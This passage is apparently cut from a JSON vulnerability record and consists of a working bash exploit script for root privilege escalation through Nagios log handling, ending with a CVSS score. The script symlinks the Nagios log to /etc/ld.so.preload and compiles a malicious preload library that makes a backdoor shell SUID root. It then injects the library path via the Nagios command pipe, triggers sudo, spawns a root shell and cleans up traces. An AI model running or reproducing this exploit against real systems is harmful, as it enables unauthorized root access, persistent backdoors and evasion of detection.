\\nhttps://legalhackers.com \\033[0m\"\n\n# Priv check\necho -e \"\\n[+] Starting the exploit as: \\n\\033[94m`id`\\033[0m\"\nid | grep -q nagios\nif [ $? -ne 0 ]; then\n\techo -e \"\\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\\n\"\n\texit 3\nfi\n\n# Set target paths\nERRORLOG=\"$1\"\nif [ ! -f \"$ERRORLOG\" ]; then\n\techo -e \"\\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \\n\"\n\techo -e \"./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\\n\"\n\texit 3\nfi\n\n# [ Exploitation ]\n\ntrap ctrl_c INT\n# Compile privesc preload library\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\ncat <<_solibeof_>$PRIVESCSRC\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <dlfcn.h>\n #include <sys/types.h>\n #include <sys/stat.h>\n #include <fcntl.h>\n\nuid_t geteuid(void) {\n\tstatic uid_t (*old_geteuid)();\n\told_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\n\tif ( old_geteuid() == 0 ) {\n\t\tchown(\"$BACKDOORPATH\", 0, 0);\n\t\tchmod(\"$BACKDOORPATH\", 04777);\n\t\tunlink(\"/etc/ld.so.preload\");\n\t}\n\treturn old_geteuid();\n}\n_solibeof_\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\nif [ $? -ne 0 ]; then\n\techo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\n\tcleanexit 2;\nfi\n\n\n# Prepare backdoor shell\ncp $BACKDOORSH $BACKDOORPATH\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\n\n# Safety check\nif [ -f /etc/ld.so.preload ]; then\n\techo -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\n\texit 2\nfi\n\n# Symlink the Nagios log file\nrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG\nif [ $? -ne 0 ]; then\n\techo -e \"\\n[!] Couldn't remove the $ERRORLOG file or create a symlink.\"\n\tcleanexit 3\nfi\necho -e \"\\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \\n`ls -l $ERRORLOG`\"\n\n{\n# Wait for Nagios to get restarted\necho -ne \"\\n[+] Waiting for Nagios service to get restarted...\\n\"\necho -n \"Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] \"\nread THE_ANSWER\nif [ \"$THE_ANSWER\" = \"y\" ]; then\n\t/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > $commandfile\nfi\nsleep 3s\nps aux | grep -v grep | grep -i 'bin/nagios'\nif [ $? -ne 0 ]; then\n\techo -ne \"\\n[+] Nagios stopped. Shouldn't take long now... ;)\\n\"\nfi\nwhile :; do \n\tsleep 1 2>/dev/null\n\tif [ -f /etc/ld.so.preload ]; then\n\t\trm -f $ERRORLOG\n\t\tbreak;\n\tfi\ndone\n\necho -e \"\\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \\n`ls -l /etc/ld.so.preload`\"\n\n# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:\n# -rw-r--r-- 1 nagios nagios \n# Only 'nagios' user can write to it, but 'nagios' group can not.\n# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.\n# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe\n# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will\n# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)\n\nsleep 3s \t# Wait for Nagios to create the nagios.cmd pipe\nif [ ! -p $commandfile ]; then\n\techo -e \"\\n[!] Nagios command pipe $commandfile does not exist!\"\n\texit 2\nfi\t\necho -e \"\\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\"\nnow=`date +%s`\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \\n\" $now > $commandfile\nsleep 1s\ngrep -q \"$PRIVESCLIB\" /etc/ld.so.preload\nif [ $? -eq 0 ]; then \n\techo -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload | grep \"$PRIVESCLIB\"`\"\nelse\n\techo -e \"\\n[!] Unable to inject the lib to /etc/ld.so.preload\"\n\texit 2\nfi\n\n} 2>/dev/null\n\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\necho -e \"\\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary\"\nsudo 2>/dev/null >/dev/null\n\n# Check for the rootshell\nls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null\nif [ $? -eq 0 ]; then \n\techo -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\n\techo -e \"\\n\\033[94mGot root via Nagios!\\033[0m\"\nelse\n\techo -e \"\\n[!] Failed to get root: \\n`ls -l $BACKDOORPATH`\"\n\tcleanexit 2\nfi\n\n# Use the rootshell to perform cleanup that requires root privileges\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\nrm -f $ERRORLOG\necho > $ERRORLOG\n\n# Execute the rootshell\necho -e \"\\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\\n\"\n$BACKDOORPATH -p -i\n\n# Job done.\ncleanexit 0", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}